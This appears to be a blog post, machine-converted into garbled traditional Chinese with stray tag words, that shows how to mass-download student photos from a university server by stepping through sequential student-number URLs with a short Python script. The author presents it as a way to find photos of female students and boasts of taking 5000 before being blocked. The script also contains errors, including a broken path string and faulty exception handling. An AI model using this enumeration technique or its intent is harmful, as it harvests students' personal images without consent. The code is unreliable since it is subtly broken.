前提:你的教務管理系統是明文存儲你們的圖片,加密的圖片就很差弄了...python
也就是可以經過瀏覽器直接訪問...技術上就不存在什麼問題了...若是是學號存儲的就更方便了瀏覽器
而後咱們就能夠寫個小腳本了...其實就是直接url獲取而後保存在本地...多線程
第一個python小腳本...練手玩一玩...socket
若是要效率高能夠用多線程...測試
你們就能夠愉快的找到MM的照片啦! 不要太過火喲...我下載到5000張的時候就被遠程中止了...sad...加密
1 import urllib.request 2 3 for i in range(10,10000): 4 name = "http://www.xx.edu.cn:8081/_photo/student/20110000" 5 tmp = '%d'%i 6 while(len(tmp) < 4): 7 tmp = "0" + tmp 8 name = name + tmp + ".jpg" 9 print(name) 10 try: 11 socket = urllib.request.urlopen(name) 12 except: 13 print(name+"not exist") 14 finally: 15 data = socket.read() 16 path = r"F:\pic\" 17 path = path + tmp + ".jpg" 18 print(path) 19 with open(path,"wb") as jpg: 20 jpg.write(data) 21 socket.close()
解釋一下...我是用python3.3 2.X的用戶要用import urllib2url
4-8行都是處理url字符串的...9行可要可不要spa
10行是測試該url是否可訪問線程
14行以後就是保存到本地了code
純粹學術交流,請你們不要用於攻擊等行爲